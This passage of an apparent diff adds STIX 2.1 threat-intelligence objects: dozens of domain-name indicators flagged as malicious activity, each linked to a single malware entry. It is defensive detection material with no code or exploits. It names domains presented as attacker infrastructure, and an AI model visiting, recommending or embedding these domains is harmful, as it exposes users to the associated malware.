"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--40ebb643-1804-4607-986c-cfbc366e53bf", + "created": "2023-03-29T12:58:44.758722Z", + "modified": "2023-03-29T12:58:44.758722Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='longworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.758722Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8905711-4000-43ca-b3e6-d7ee3a6d9622", + "created": "2023-03-29T12:58:44.759308Z", + "modified": "2023-03-29T12:58:44.759308Z", + "relationship_type": "indicates", + "source_ref": "indicator--40ebb643-1804-4607-986c-cfbc366e53bf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53cb0579-1dd8-4342-b2b6-cfc2eef5cf8d", + "created": "2023-03-29T12:58:44.759477Z", + "modified": "2023-03-29T12:58:44.759477Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canopenercatalyst.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.759477Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f56a2322-b076-42c8-9f5b-ff9c155d81c6", + "created": "2023-03-29T12:58:44.760076Z", + "modified": "2023-03-29T12:58:44.760076Z", + "relationship_type": "indicates", + "source_ref": "indicator--53cb0579-1dd8-4342-b2b6-cfc2eef5cf8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1fdeb99-a11d-42af-9357-06694cfb00af", + "created": "2023-03-29T12:58:44.760244Z", + "modified": "2023-03-29T12:58:44.760244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='untwistsinging.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.760244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d685c16-ea1c-4f5a-9715-9fae8054f11e", + "created": "2023-03-29T12:58:44.760835Z", + "modified": "2023-03-29T12:58:44.760835Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1fdeb99-a11d-42af-9357-06694cfb00af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba3378c3-14f4-457d-94a4-ef347dcefe66", + "created": "2023-03-29T12:58:44.761007Z", + "modified": "2023-03-29T12:58:44.761007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockcrate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.761007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f32674c3-3c11-4597-b067-36b890b33abb", + "created": "2023-03-29T12:58:44.761601Z", + "modified": "2023-03-29T12:58:44.761601Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba3378c3-14f4-457d-94a4-ef347dcefe66", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a60abe7-354a-4630-a928-ee001c16bbc9", + "created": "2023-03-29T12:58:44.76177Z", + "modified": "2023-03-29T12:58:44.76177Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vmlogistics.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.76177Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3401265-e813-46d8-a36b-0eb978f979a6", + "created": "2023-03-29T12:58:44.76236Z", + "modified": "2023-03-29T12:58:44.76236Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a60abe7-354a-4630-a928-ee001c16bbc9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3eef978-6fcb-432a-b0af-eb0b0f5ebc73", + "created": "2023-03-29T12:58:44.76253Z", + "modified": "2023-03-29T12:58:44.76253Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deniableoverblown.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.76253Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6add4b6c-5bce-4760-83f2-70f81a3d1466", + "created": "2023-03-29T12:58:44.763132Z", + "modified": "2023-03-29T12:58:44.763132Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3eef978-6fcb-432a-b0af-eb0b0f5ebc73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b61b642e-6ee6-4dbb-9bda-d643eab7f9fa", + "created": "2023-03-29T12:58:44.763299Z", + "modified": "2023-03-29T12:58:44.763299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glitzymusty.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.763299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--725c5dd3-a0ef-4f92-b5b8-69c0fffaa054", + "created": "2023-03-29T12:58:44.763898Z", + "modified": "2023-03-29T12:58:44.763898Z", + "relationship_type": "indicates", + "source_ref": "indicator--b61b642e-6ee6-4dbb-9bda-d643eab7f9fa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f3e70c5-ca96-4b36-ab79-9142c8789220", + "created": "2023-03-29T12:58:44.764066Z", + "modified": "2023-03-29T12:58:44.764066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dismountsafari.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.764066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7b27f64-3188-4d27-9754-5d28877e0b3f", + "created": "2023-03-29T12:58:44.764659Z", + "modified": "2023-03-29T12:58:44.764659Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f3e70c5-ca96-4b36-ab79-9142c8789220", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63d91aeb-a7d3-444e-99a5-eb339f8c6bf8", + "created": "2023-03-29T12:58:44.764827Z", + "modified": "2023-03-29T12:58:44.764827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowgarbage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.764827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffe89c18-d304-480f-a83f-f49aa2b5929e", + "created": "2023-03-29T12:58:44.765538Z", + "modified": "2023-03-29T12:58:44.765538Z", + "relationship_type": "indicates", + "source_ref": "indicator--63d91aeb-a7d3-444e-99a5-eb339f8c6bf8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bd4e444-1188-4a67-bde2-42a496722f52", + "created": "2023-03-29T12:58:44.765712Z", + "modified": "2023-03-29T12:58:44.765712Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubelesslushly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.765712Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2126668e-dbf2-4456-946a-73b6a6e6e776", + "created": "2023-03-29T12:58:44.766304Z", + "modified": "2023-03-29T12:58:44.766304Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bd4e444-1188-4a67-bde2-42a496722f52", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ab911e1-c549-44ce-9a98-a88827970917", + "created": "2023-03-29T12:58:44.766473Z", + "modified": "2023-03-29T12:58:44.766473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncombedunfixed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.766473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--24639590-f919-4393-b295-64ec4e9b806e", + "created": "2023-03-29T12:58:44.767069Z", + "modified": "2023-03-29T12:58:44.767069Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ab911e1-c549-44ce-9a98-a88827970917", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75f8f15b-e9ea-48c4-81b7-aa5846ff11f8", + "created": "2023-03-29T12:58:44.767238Z", + "modified": "2023-03-29T12:58:44.767238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='revolvinggruffly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.767238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5ac17045-925f-4380-8030-50fa9f6b1502", + "created": "2023-03-29T12:58:44.767833Z", + "modified": "2023-03-29T12:58:44.767833Z", + "relationship_type": "indicates", + "source_ref": "indicator--75f8f15b-e9ea-48c4-81b7-aa5846ff11f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d5ece67-b518-4e35-bd1a-1bf39aa299ee", + "created": "2023-03-29T12:58:44.768001Z", + "modified": "2023-03-29T12:58:44.768001Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='primapartita.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.768001Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59a47f7a-dd26-40b8-968f-985d350a8fa8", + "created": "2023-03-29T12:58:44.768593Z", + "modified": "2023-03-29T12:58:44.768593Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d5ece67-b518-4e35-bd1a-1bf39aa299ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a739968-33a8-401f-a0c7-8502775df59b", + "created": "2023-03-29T12:58:44.768761Z", + "modified": "2023-03-29T12:58:44.768761Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fontstifling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.768761Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e4fcf09-e857-41f8-a77a-40e74c711483", + "created": "2023-03-29T12:58:44.769349Z", + "modified": "2023-03-29T12:58:44.769349Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a739968-33a8-401f-a0c7-8502775df59b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04879b1e-b511-459c-afc7-f8309f97d7fb", + "created": "2023-03-29T12:58:44.769515Z", + "modified": "2023-03-29T12:58:44.769515Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koalacurtsy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.769515Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c71bc728-9228-4e20-98dc-7230d54a48bb", + "created": "2023-03-29T12:58:44.770107Z", + "modified": "2023-03-29T12:58:44.770107Z", + "relationship_type": "indicates", + "source_ref": "indicator--04879b1e-b511-459c-afc7-f8309f97d7fb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--929f8b09-bd7b-4731-a1c0-301269ecf737", + "created": "2023-03-29T12:58:44.770274Z", + "modified": "2023-03-29T12:58:44.770274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='manateefender.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.770274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--576bfb18-a523-4e93-bf16-bc6ddb3f8472", + "created": "2023-03-29T12:58:44.77087Z", + "modified": "2023-03-29T12:58:44.77087Z", + "relationship_type": "indicates", + "source_ref": "indicator--929f8b09-bd7b-4731-a1c0-301269ecf737", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bec2179-5561-4939-9d0a-e16bb7ce90b4", + "created": "2023-03-29T12:58:44.77104Z", + "modified": "2023-03-29T12:58:44.77104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mindonone.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.77104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3595c873-189c-4dfd-a6b0-5304e47f11c3", + "created": "2023-03-29T12:58:44.771627Z", + "modified": "2023-03-29T12:58:44.771627Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bec2179-5561-4939-9d0a-e16bb7ce90b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9b556d6-e066-404b-9c3a-56917c33b25c", + "created": "2023-03-29T12:58:44.771794Z", + "modified": "2023-03-29T12:58:44.771794Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='preteenabdominal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.771794Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1dd64d46-0d97-481f-b34e-2d15ec30c916", + "created": "2023-03-29T12:58:44.772508Z", + "modified": "2023-03-29T12:58:44.772508Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9b556d6-e066-404b-9c3a-56917c33b25c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98a4d891-ffcb-446a-8977-f4d64ea8e9e1", + "created": "2023-03-29T12:58:44.772681Z", + "modified": "2023-03-29T12:58:44.772681Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grandlydeceiver.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.772681Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d23b609-b556-48f8-b6bd-77b3540ec3d9", + "created": "2023-03-29T12:58:44.773277Z", + "modified": "2023-03-29T12:58:44.773277Z", + "relationship_type": "indicates", + "source_ref": "indicator--98a4d891-ffcb-446a-8977-f4d64ea8e9e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b2f9525-33fb-4f4d-8857-f626c9381d72", + "created": "2023-03-29T12:58:44.773446Z", + "modified": "2023-03-29T12:58:44.773446Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='keeptimerusty.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.773446Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9578730-f525-4123-884a-7c6f51b44e8b", + "created": "2023-03-29T12:58:44.77406Z", + "modified": "2023-03-29T12:58:44.77406Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b2f9525-33fb-4f4d-8857-f626c9381d72", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09fb62f8-bcc5-4673-8c54-0b21a37c5f13", + "created": "2023-03-29T12:58:44.774229Z", + "modified": "2023-03-29T12:58:44.774229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jubilanceskyline.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.774229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fcb038bd-b372-4f62-964f-e3d174b7413a", + "created": "2023-03-29T12:58:44.774827Z", + "modified": "2023-03-29T12:58:44.774827Z", + "relationship_type": "indicates", + "source_ref": "indicator--09fb62f8-bcc5-4673-8c54-0b21a37c5f13", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--075a5008-d8e7-441f-99c4-7e14d9f03a15", + "created": "2023-03-29T12:58:44.774996Z", + "modified": "2023-03-29T12:58:44.774996Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overdrawnaflutter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.774996Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8184f3f-df33-49e1-be6e-2f31c30f9cb7", + "created": "2023-03-29T12:58:44.77559Z", + "modified": "2023-03-29T12:58:44.77559Z", + "relationship_type": "indicates", + "source_ref": "indicator--075a5008-d8e7-441f-99c4-7e14d9f03a15", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47c35502-b48d-4b48-8c46-b16f283ea4b6", + "created": "2023-03-29T12:58:44.77576Z", + "modified": "2023-03-29T12:58:44.77576Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ployuncoiled.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.77576Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ab44044-55dd-4b17-ad58-dfe6e111705b", + "created": "2023-03-29T12:58:44.776381Z", + "modified": "2023-03-29T12:58:44.776381Z", + "relationship_type": "indicates", + "source_ref": "indicator--47c35502-b48d-4b48-8c46-b16f283ea4b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20006bc0-6547-48c2-9c7b-b939f60b5894", + "created": "2023-03-29T12:58:44.776577Z", + "modified": "2023-03-29T12:58:44.776577Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='obituarydeserving.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.776577Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95e38021-bd62-4b36-8031-426233beccd1", + "created": "2023-03-29T12:58:44.777232Z", + "modified": "2023-03-29T12:58:44.777232Z", + "relationship_type": "indicates", + "source_ref": "indicator--20006bc0-6547-48c2-9c7b-b939f60b5894", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3a74298-4477-4075-b8cf-95e6ace6f5e7", + "created": "2023-03-29T12:58:44.7774Z", + "modified": "2023-03-29T12:58:44.7774Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='merdek.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.7774Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dfd00fdf-1bea-4b2d-ac35-47f2aeba4e69", + "created": "2023-03-29T12:58:44.777997Z", + "modified": "2023-03-29T12:58:44.777997Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3a74298-4477-4075-b8cf-95e6ace6f5e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f6c153d-7926-48d9-9a6a-749287a1d20f", + "created": "2023-03-29T12:58:44.778165Z", + "modified": "2023-03-29T12:58:44.778165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bowlingdown.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.778165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b597c8fd-4597-4459-ab55-2c12559c589c", + "created": "2023-03-29T12:58:44.77876Z", + "modified": "2023-03-29T12:58:44.77876Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f6c153d-7926-48d9-9a6a-749287a1d20f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4f2ae0e-5aab-460f-b4fa-575e6c13e8f3", + "created": "2023-03-29T12:58:44.778931Z", + "modified": "2023-03-29T12:58:44.778931Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tridentagreeably.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.778931Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c83ecc2-74ac-4326-b181-c5254c4d2350", + "created": "2023-03-29T12:58:44.779646Z", + "modified": "2023-03-29T12:58:44.779646Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4f2ae0e-5aab-460f-b4fa-575e6c13e8f3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7118413-febc-4d5f-afbe-946c716797ba", + "created": "2023-03-29T12:58:44.779819Z", + "modified": "2023-03-29T12:58:44.779819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='donatellostudio.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.779819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c833c17-f12b-405d-8b1d-a4a8462f9254", + "created": "2023-03-29T12:58:44.780414Z", + "modified": "2023-03-29T12:58:44.780414Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7118413-febc-4d5f-afbe-946c716797ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6e07941-97b9-4d62-9b3d-8fb1593b06b9", + "created": "2023-03-29T12:58:44.780584Z", + "modified": "2023-03-29T12:58:44.780584Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stagnateelves.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.780584Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--591aba00-1a61-4390-b254-2078b7df2473", + "created": "2023-03-29T12:58:44.781174Z", + "modified": "2023-03-29T12:58:44.781174Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6e07941-97b9-4d62-9b3d-8fb1593b06b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd4c74be-4760-4fb6-a7bd-d26281da156e", + "created": "2023-03-29T12:58:44.781341Z", + "modified": "2023-03-29T12:58:44.781341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blogonion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.781341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f73cefa-cb10-49e2-8495-d87fb46213c3", + "created": "2023-03-29T12:58:44.781934Z", + "modified": "2023-03-29T12:58:44.781934Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd4c74be-4760-4fb6-a7bd-d26281da156e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--858e781c-f48d-431e-9a2c-5d8a25471a96", + "created": "2023-03-29T12:58:44.782106Z", + "modified": "2023-03-29T12:58:44.782106Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='padlocksituation.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.782106Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34852e86-4bad-43d2-8fa1-2774014a9920", + "created": "2023-03-29T12:58:44.7827Z", + "modified": "2023-03-29T12:58:44.7827Z", + "relationship_type": "indicates", + "source_ref": "indicator--858e781c-f48d-431e-9a2c-5d8a25471a96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1862f5db-5e22-4246-8be6-a8fea5c8c4a0", + "created": "2023-03-29T12:58:44.782867Z", + "modified": "2023-03-29T12:58:44.782867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='masterplayart.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.782867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45600bb9-b2d7-48e3-8460-ee927a6b3df0", + "created": "2023-03-29T12:58:44.78347Z", + "modified": "2023-03-29T12:58:44.78347Z", + "relationship_type": "indicates", + "source_ref": "indicator--1862f5db-5e22-4246-8be6-a8fea5c8c4a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bd21b7a7-c668-42a5-967d-66ac57b8f906", + "created": "2023-03-29T12:58:44.783638Z", + "modified": "2023-03-29T12:58:44.783638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='predefinerace.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.783638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8d2058a-ec69-4132-9c10-394e2b68657b", + "created": "2023-03-29T12:58:44.78423Z", + "modified": "2023-03-29T12:58:44.78423Z", + "relationship_type": "indicates", + "source_ref": "indicator--bd21b7a7-c668-42a5-967d-66ac57b8f906", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1122f335-26f0-4a8a-9287-05e1e467b8c5", + "created": "2023-03-29T12:58:44.784402Z", + "modified": "2023-03-29T12:58:44.784402Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grandsonthrower.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.784402Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c701e7d-0030-4264-b0ca-d4b4a459283c", + "created": "2023-03-29T12:58:44.785013Z", + "modified": "2023-03-29T12:58:44.785013Z", + "relationship_type": "indicates", + "source_ref": "indicator--1122f335-26f0-4a8a-9287-05e1e467b8c5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d29d2285-da63-4217-af26-379de65b8395", + "created": "2023-03-29T12:58:44.785183Z", + "modified": "2023-03-29T12:58:44.785183Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='folkoppressor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.785183Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2d1bc7e-aacc-4b8b-b73c-69384fa614df", + "created": "2023-03-29T12:58:44.785861Z", + "modified": "2023-03-29T12:58:44.785861Z", + "relationship_type": "indicates", + "source_ref": "indicator--d29d2285-da63-4217-af26-379de65b8395", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d866132b-006f-4729-9cbf-ddc3f01f7459", + "created": "2023-03-29T12:58:44.786033Z", + "modified": "2023-03-29T12:58:44.786033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenpadlake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.786033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c972601-77df-4524-9105-1c97bcbd30e8", + "created": "2023-03-29T12:58:44.786776Z", + "modified": "2023-03-29T12:58:44.786776Z", + "relationship_type": "indicates", + "source_ref": "indicator--d866132b-006f-4729-9cbf-ddc3f01f7459", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16127761-be43-4b06-9040-57a6190ee4d7", + "created": "2023-03-29T12:58:44.786951Z", + "modified": "2023-03-29T12:58:44.786951Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mondoarancione.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.786951Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4ee9b96-63a3-49ae-8d8d-679c3ee6ba9a", + "created": "2023-03-29T12:58:44.787545Z", + "modified": "2023-03-29T12:58:44.787545Z", + "relationship_type": "indicates", + "source_ref": 